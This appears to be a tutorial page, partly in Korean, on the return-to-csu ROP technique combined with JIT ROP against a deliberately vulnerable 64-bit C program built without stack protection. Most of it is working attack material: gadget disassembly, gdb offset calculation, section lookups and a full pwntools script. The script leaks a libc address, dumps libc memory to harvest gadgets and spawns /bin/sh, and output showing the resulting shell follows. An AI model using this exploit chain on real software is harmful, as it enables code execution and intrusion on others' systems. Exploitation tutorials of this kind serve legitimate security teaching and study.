Excuse the ads! We need some help to keep our site up.

List

return-to-csu (feat.JIT ROP)

void __libc_csu_init (int argc, char **argv, char **envp)
{
  ...
  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
}
...
00000000004005b0 <__libc_csu_init>:
  4005b0:	41 57                	push   r15
  4005b2:	41 56                	push   r14
  4005b4:	41 89 ff             	mov    r15d,edi
  4005b7:	41 55                	push   r13
  4005b9:	41 54                	push   r12
  4005bb:	4c 8d 25 4e 08 20 00 	lea    r12,[rip+0x20084e]        # 600e10 <__frame_dummy_init_array_entry>
  4005c2:	55                   	push   rbp
  4005c3:	48 8d 2d 4e 08 20 00 	lea    rbp,[rip+0x20084e]        # 600e18 <__init_array_end>
  4005ca:	53                   	push   rbx
  4005cb:	49 89 f6             	mov    r14,rsi
  4005ce:	49 89 d5             	mov    r13,rdx
  4005d1:	4c 29 e5             	sub    rbp,r12
  4005d4:	48 83 ec 08          	sub    rsp,0x8
  4005d8:	48 c1 fd 03          	sar    rbp,0x3
  4005dc:	e8 1f fe ff ff       	call   400400 <_init>
  4005e1:	48 85 ed             	test   rbp,rbp
  4005e4:	74 20                	je     400606 <__libc_csu_init+0x56>
  4005e6:	31 db                	xor    ebx,ebx
  4005e8:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
  4005ef:	00 
  4005f0:	4c 89 ea             	mov    rdx,r13
  4005f3:	4c 89 f6             	mov    rsi,r14
  4005f6:	44 89 ff             	mov    edi,r15d
  4005f9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  4005fd:	48 83 c3 01          	add    rbx,0x1
  400601:	48 39 eb             	cmp    rbx,rbp
  400604:	75 ea                	jne    4005f0 <__libc_csu_init+0x40>
  400606:	48 83 c4 08          	add    rsp,0x8
  40060a:	5b                   	pop    rbx
  40060b:	5d                   	pop    rbp
  40060c:	41 5c                	pop    r12
  40060e:	41 5d                	pop    r13
  400610:	41 5e                	pop    r14
  400612:	41 5f                	pop    r15
  400614:	c3                   	ret    
  400615:	90                   	nop
  400616:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  40061d:	00 00 00 
AddressGadget 1(0x4006a6) Gadget 2(0x400690)
Code
40060a:	5b     pop    rbx
40060b:	5d     pop    rbp
40060c:	41 5c  pop    r12
40060e:	41 5d  pop    r13
400610:	41 5e  pop    r14
400612:	41 5f  pop    r15
400614:	c3     ret 
4005f0:	4c 89 ea     mov    rdx,r13
4005f3:	4c 89 f6     mov    rsi,r14
4005f6:	44 89 ff     mov    edi,r15d
4005f9:	41 ff 14 dc  call   QWORD PTR [r12+rbx*8]

  4005f9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  4005fd:	48 83 c3 01          	add    rbx,0x1
  400601:	48 39 eb             	cmp    rbx,rbp
  400604:	75 ea                	jne    4005f0 <__libc_csu_init+0x40>
  400606:	48 83 c4 08          	add    rsp,0x8
  40060a:	5b                   	pop    rbx
  40060b:	5d                   	pop    rbp
  40060c:	41 5c                	pop    r12
  40060e:	41 5d                	pop    r13
  400610:	41 5e                	pop    r14
  400612:	41 5f                	pop    r15
  400614:	c3                   	ret  

Proof of concept

File

Example code

//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h> 

void vuln(){
    char buf[50];
    read(0, buf, 512);
}

void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x00000000004005f6 <+0>:		push   rbp
   0x00000000004005f7 <+1>:		mov    rbp,rsp
   0x00000000004005fa <+4>:		sub    rsp,0x40
   0x00000000004005fe <+8>:		lea    rax,[rbp-0x40]
   0x0000000000400602 <+12>:	mov    edx,0x200
   0x0000000000400607 <+17>:	mov    rsi,rax
   0x000000000040060a <+20>:	mov    edi,0x0
   0x000000000040060f <+25>:	call   0x4004c0 <read@plt>
   0x0000000000400614 <+30>:	nop
   0x0000000000400615 <+31>:	leave  
   0x0000000000400616 <+32>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004005f6
Breakpoint 1 at 0x4005f6
gdb-peda$ b *0x000000000040060f
Breakpoint 2 at 0x40060f
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/__libc_csu_init/rop 
Hello ROP
Breakpoint 1, 0x00000000004005f6 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe488	0x7fffffffe488
gdb-peda$ c
Continuing.
Breakpoint 2, 0x000000000040060f in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe440	0x7fffffffe440
gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440
$1 = 72
gdb-peda$ 

Exploit method

  1. 번째 ROP Chain
    1. write() 함수를 이용하여 __libc_start_main@GOT 영역에 저장된 libc 주소를 추출합니다.
    2. read() 함수를 이용하여 .bss 영역에 다음 ROP 코드를 입력받습니다.
  2. 번째 ROP Chain
    1. "/bin/sh\x00"
      1. execve() 함수의 첫번째 인자 값으로 전달할 "/bin/sh"을 "./bss" 영역에 저장합니다.
    2. JIT ROP - write() 함수를 이용하여 메모리에 저장된 libc 파일을 출력합니다.
      1. 출력 값에서 필요한 ROP Gadget을 찾습니다.
    3. read() 함수를 이용하여 .bss 영역에 다음 ROP 코드를 입력받습니다.
  3. 번째 ROP Chain
    1. execve() 시스템 함수를 이용해 "/bin/sh"를 실행 합니다.
write(1,__libc_start_main,8)
read(0,.bss + 0x400,400)
JMP .bss + 0x400
write(1,Address of leak libc,0x190000)
read(0,"base_stage + len(buf) + 8 * 10" ,100)
execve("/bin/sh", NULL, NULL)
  • .bss 주소
  • return-to-csu gadget 주소
  • read, write 함수의 got 주소
  • "/bin/sh"

Find the address of the .bss area

lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ readelf -S ./rop
There are 31 section headers, starting at offset 0x1a28:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       0000000000000078  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400330  00000330
       0000000000000043  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400374  00000374
       000000000000000a  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400380  00000380
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             00000000004003a0  000003a0
       0000000000000018  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004003b8  000003b8
       0000000000000048  0000000000000018  AI       5    24     8
  [11] .init             PROGBITS         0000000000400400  00000400
       000000000000001a  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400420  00000420
       0000000000000040  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000400460  00000460
       0000000000000008  0000000000000000  AX       0     0     8
  [14] .text             PROGBITS         0000000000400470  00000470
       00000000000001b2  0000000000000000  AX       0     0     16
  [15] .fini             PROGBITS         0000000000400624  00000624
       0000000000000009  0000000000000000  AX       0     0     4
  [16] .rodata           PROGBITS         0000000000400630  00000630
       000000000000000f  0000000000000000   A       0     0     4
  [17] .eh_frame_hdr     PROGBITS         0000000000400640  00000640
       000000000000003c  0000000000000000   A       0     0     4
  [18] .eh_frame         PROGBITS         0000000000400680  00000680
       0000000000000114  0000000000000000   A       0     0     8
  [19] .init_array       INIT_ARRAY       0000000000600e10  00000e10
       0000000000000008  0000000000000000  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       0000000000000008  0000000000000000  WA       0     0     8
  [21] .jcr              PROGBITS         0000000000600e20  00000e20
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .dynamic          DYNAMIC          0000000000600e28  00000e28
       00000000000001d0  0000000000000010  WA       6     0     8
  [23] .got              PROGBITS         0000000000600ff8  00000ff8
       0000000000000008  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000030  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000601030  00001030
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000601040  00001040
       0000000000000008  0000000000000000  WA       0     0     1
  [27] .comment          PROGBITS         0000000000000000  00001040
       0000000000000035  0000000000000001  MS       0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  0000191a
       000000000000010c  0000000000000000           0     0     1
  [29] .symtab           SYMTAB           0000000000000000  00001078
       0000000000000678  0000000000000018          30    47     8
  [30] .strtab           STRTAB           0000000000000000  000016f0
       000000000000022a  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$

Find the address of the return-to-csu gadget

lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ objdump -M intel -d ./rop
./rop:     file format elf64-x86-64

Disassembly of section .init:
...

Disassembly of section .plt:
...

Disassembly of section .text:
...

00000000004005b0 <__libc_csu_init>:
  4005b0:	41 57                	push   r15
  4005b2:	41 56                	push   r14
  4005b4:	41 89 ff             	mov    r15d,edi
  4005b7:	41 55                	push   r13
  4005b9:	41 54                	push   r12
  4005bb:	4c 8d 25 4e 08 20 00 	lea    r12,[rip+0x20084e]        # 600e10 <__frame_dummy_init_array_entry>
  4005c2:	55                   	push   rbp
  4005c3:	48 8d 2d 4e 08 20 00 	lea    rbp,[rip+0x20084e]        # 600e18 <__init_array_end>
  4005ca:	53                   	push   rbx
  4005cb:	49 89 f6             	mov    r14,rsi
  4005ce:	49 89 d5             	mov    r13,rdx
  4005d1:	4c 29 e5             	sub    rbp,r12
  4005d4:	48 83 ec 08          	sub    rsp,0x8
  4005d8:	48 c1 fd 03          	sar    rbp,0x3
  4005dc:	e8 1f fe ff ff       	call   400400 <_init>
  4005e1:	48 85 ed             	test   rbp,rbp
  4005e4:	74 20                	je     400606 <__libc_csu_init+0x56>
  4005e6:	31 db                	xor    ebx,ebx
  4005e8:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
  4005ef:	00 
  4005f0:	4c 89 ea             	mov    rdx,r13
  4005f3:	4c 89 f6             	mov    rsi,r14
  4005f6:	44 89 ff             	mov    edi,r15d
  4005f9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  4005fd:	48 83 c3 01          	add    rbx,0x1
  400601:	48 39 eb             	cmp    rbx,rbp
  400604:	75 ea                	jne    4005f0 <__libc_csu_init+0x40>
  400606:	48 83 c4 08          	add    rsp,0x8
  40060a:	5b                   	pop    rbx
  40060b:	5d                   	pop    rbp
  40060c:	41 5c                	pop    r12
  40060e:	41 5d                	pop    r13
  400610:	41 5e                	pop    r14
  400612:	41 5f                	pop    r15
  400614:	c3                   	ret    
  400615:	90                   	nop
  400616:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  40061d:	00 00 00 

Disassembly of section .fini:
...

lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$

Idea of using R8, R9, R10, R11, R12, R13, R14, R15 registers

RegisterRaw Hex(2byte)RegisterRaw Hex(1byte)
POP R841 58  POP RAX58
POP R941 59POP RCX59
POP R1041 5aPOP RDX5a
POP R1141 5bPOP RBX5b
POP R1241 5c POP RSP5c
POP R1341 5dPOP RBP5d
POP R1441 5ePOP RSI5e
POP R1541 5fPOP RDI5f

Exploit code

from pwn import *
from struct import *
 
#context.log_level = 'debug'
 
binary = ELF('./rop')

execve = 59

addr_bss = 0x601050
addr_got_read = binary.got['read']
addr_got_write = binary.got['write']
addr_got_start = binary.got['__libc_start_main']
 
addr_csu_init1 = 0x40060a
addr_csu_init2 = 0x4005f0
addr_csu_init3 = 0x40060d
 
stacksize = 0x400
base_stage = addr_bss + stacksize
 
p = process(binary.path)
p.recvn(10)
 
# stage 1: read address of __libc_start_main()
buf = 'A' * 72
#Gadget 1
buf += p64(addr_csu_init1) 
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(8)
buf += p64(addr_got_start)
buf += p64(1)
#Gadget 2 - write(1,__libc_start_main,8)
buf += p64(addr_csu_init2) 
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(400)
buf += p64(base_stage)
buf += p64(0)
#Gadget 2 - Call read(0,.bss + 0x400,400)
buf += p64(addr_csu_init2) 
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)

buf += p64(addr_csu_init3)
buf += p64(base_stage)

p.send(buf)
libc_addr = u64(p.recv())
log.info("__libc_start_main : " + hex(libc_addr))
 
libc_bin = ''
libc_readsize = 0x190000

# stage 2: "/bin/sh\x00" and JIT ROP
buf = "/bin/sh\x00"
buf += 'A' * (24-len(buf))


buf += p64(addr_csu_init1)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_write)
buf += p64(libc_readsize)
buf += p64(libc_addr)
buf += p64(1)
 
#Gadget 1 - write(1,Address of leak libc,0x190000)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(1)
buf += p64(addr_got_read)
buf += p64(100)
buf += p64(base_stage + len(buf) + 8 * 10)
buf += p64(0)
 
#Gadget 2 - read(0,"base_stage + len(buf) + 8 * 10" ,100)
buf += p64(addr_csu_init2)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)
buf += p64(0)

p.send(buf)
 
with log.progress('Reading libc area from memory...') as l:
    for i in range(0,libc_readsize/4096):
        libc_bin += p.recv(4096)
        l.status(hex(len(libc_bin)))

offs_pop_rax = libc_bin.index('\x58\xc3') # pop rax; ret
offs_pop_rdi = libc_bin.index('\x5f\xc3') # pop rdi; ret
offs_pop_rsi = libc_bin.index('\x5e\xc3') # pop rsi; ret
offs_pop_rdx = libc_bin.index('\x5a\xc3') # pop rdx; ret
offs_syscall = libc_bin.index('\x0f\x05') # syscall

log.info("Gadget : pop rax; ret > " + hex(libc_addr + offs_pop_rax))
log.info("Gadget : pop rdi; ret > " + hex(libc_addr + offs_pop_rdi))
log.info("Gadget : pop rsi; ret > " + hex(libc_addr + offs_pop_rsi))
log.info("Gadget : pop rdx; ret > " + hex(libc_addr + offs_pop_rdx))
log.info("Gadget : syscall > " + hex(libc_addr + offs_syscall))
 
# stage 3: execve("/bin/sh", NULL, NULL)
buf = p64(libc_addr + offs_pop_rax)
buf += p64(execve)
buf += p64(libc_addr + offs_pop_rdi)
buf += p64(base_stage)
buf += p64(libc_addr + offs_pop_rsi)
buf += p64(0)
buf += p64(libc_addr + offs_pop_rdx)
buf += p64(0)
buf += p64(libc_addr + offs_syscall)
 
p.send(buf)
p.interactive()
lazenca0x0@ubuntu:~/Exploit/__libc_csu_init$ python exploit.py 
[*] '/home/lazenca0x0/Exploit/__libc_csu_init'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/lazenca0x0/Exploit/__libc_csu_init/rop': pid 17217
[*] __libc_start_main : 0x7f6cd6ae5740
[+] Reading libc area from memory...: Done
[*] Gadget : pop rax; ret > 0x7f6cd6af8544
[*] Gadget : pop rdi; ret > 0x7f6cd6ae6102
[*] Gadget : pop rsi; ret > 0x7f6cd6ae7bb5
[*] Gadget : pop rdx; ret > 0x7f6cd6bda0a6
[*] Gadget : syscall > 0x7f6cd6ae58a4
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ 

References